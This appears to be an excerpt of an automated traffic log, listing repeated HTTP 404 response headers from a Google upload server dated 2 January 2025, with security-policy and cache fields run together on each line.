Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4RBuWz53bm4vUbyGXJ_FFC7R-vMSCwugCVEJfN7meH9OJJsIv0PE0KqCVFT6_MgfGLContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:45 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-3PIo4p0NM_d6i-isBDC-oQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5eiTdPiYUwRl9Zzp95TfNu5a7UmNXUgiSkBPe8lTlU2KqNcaURNQwcsrfifgDxHy1MContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:45 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-OXG4z8iFgHFwmZ9edmBO2A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC477likkPTMIaJgBFdlira0telFxPbEVioVZ7DQRKRWOyuzqCUV1BdNV_tMnXwQoNszContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:48 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-gcawro0oAwnyu2GPnE4YxQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6rJ5L8QFCs8PKFa-ly3k7QE_1sYPhH15PK_jcYZunGnvMkTLLtp6bX6w-tsBd--SiMContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:48 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-SwK4WTJboRRBpBQN9xoeNA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5USHAiu-uO9Pkfn0weDqIkERYF2ru5aIMJrmtfzJDWzlSkr9wOJgjpMF31jo76yWcVwFQU-H4Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:49 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-ZGUDxrosFnLaTOXEOyp89g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7lQCntl1QZfdLe5Z-8XtM57yanPcx72y_o3g1-fK3HoztCX_a6PFJ9tLH0j2V4JNSUD1KLwGAContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:49 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-cM-Tu7v9XjeqmgGR5umtXg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7lj_feOnjIpKq_x22qjKyxxZUsfdYxbvnTRN8sC9s_qlIAmN_XEl0OBeNlMW3dVW_AContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:51 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-ytuhuM-gROXCtVq3gtSVvA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6hLevWrmiVrV6GE_2t1E1bFekjmjXzaGwX__KQYWq99M1EaS5DbwagEWg_HovkhfvFc9pTTQgContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:52 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-7mDuj_Eia76rZ3puecpjIQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4c9Nbhcz0YNL-WxfbkMF327hDMID0OBLKgxUk8YXzmjtMhtvXnVfCTuDPq1bpa3FiP-gdgN9kContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:52 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-_gDSOoSVCmc7eA_OOtac9g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7OOUXVWQq5YV9KJ5TlJhLwNV_4LR5JcrrjnK7Vq3X4Cvahq36m6VewsjIubqbL58UbContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:53 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-ZFaLWYw_GxR3k3r8YvvMrA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5JwjM55TKBWqCghjeI3CMLwgnjm1AOb1rhb_BpZXnUP4Z9PE8V5loTnAP7djxHN91Ak4GMLHIContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:53 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-FiGGIDkHqZGfqHEOZtP11Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC45WQuLelCRb177RE4NQS2YgBxnYXLu_47bfzBRnsiRGBhSoE8ktVbatuLfbpKxkpoJContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:56 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'report-sample' 'nonce-MEIl517EdiKdTjkXI5Rrwg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5vwUxd5GtJClqs8mEKHvu8cix-ztAqcZNjmo2K9EX9mCCzhoC0KfERobHo9-pnAapNContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:56 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-4dIVpB9tys0_rEpTNLCDmw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4YZTCFj-F1H8-gJYP_3t5NvQdjba_1PFzynf4fVQNqC2JYw9iEs0kVmOJFyzgRg2V7Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:57 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-b995ZiluQV7pN0LL0LD5Iw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6yfzNlQnHzQJmR0SB2mc_u3NhJzYIt-jzsv8XyB6gqU5kPUvrqJSbFDT3ZcvwNv15hktjrde4Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:57 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-nZuw3UvmFbMhCLHBLfYX5A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6nrQeqsPeIv6GGBWw1fNgp0UG46Vi7KfQ6rX8s5FYsp-7kXtx3U4jeG-EqTDWMXZPBContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:22:00 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-MX2gx9B8e_xWZLtElyNNVA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5Gl5oKzlBX8-EJrKjt60TXwWC3JJfJ0PxZtsjnFBXhwsxNOae5Q2sCftyiR8HUSlLmContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:22:00 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-zi0q2dqfZ43GT4SXbeRW8w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5sgCKbGh0pMIG9RubixHiB7iF7RmVJJmLrt5ISk6lWKosaKLKGZEjIlMkxRQJqJFOjContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:22:02 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-6U1gGfyM76mVXEaOL8LNzQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6wjC9qrdD7As3uq0IWUtlBcqOEHjrTcqlwQQVOvm0lnCDWPNf81VVAdGNaJh6rx-QEContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:22:03 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-YdQgFPGRvDwF9JltJQQ49Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6ti85ajMx55l9AsipbVqOSKMfgzjq6O2bO4Ehfn9IVoA4j-3RzSVMAa43bKsw9dal1xEUkRUYContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:22:04 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce--zwkEQHGtCrZsEL9C0zH0w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
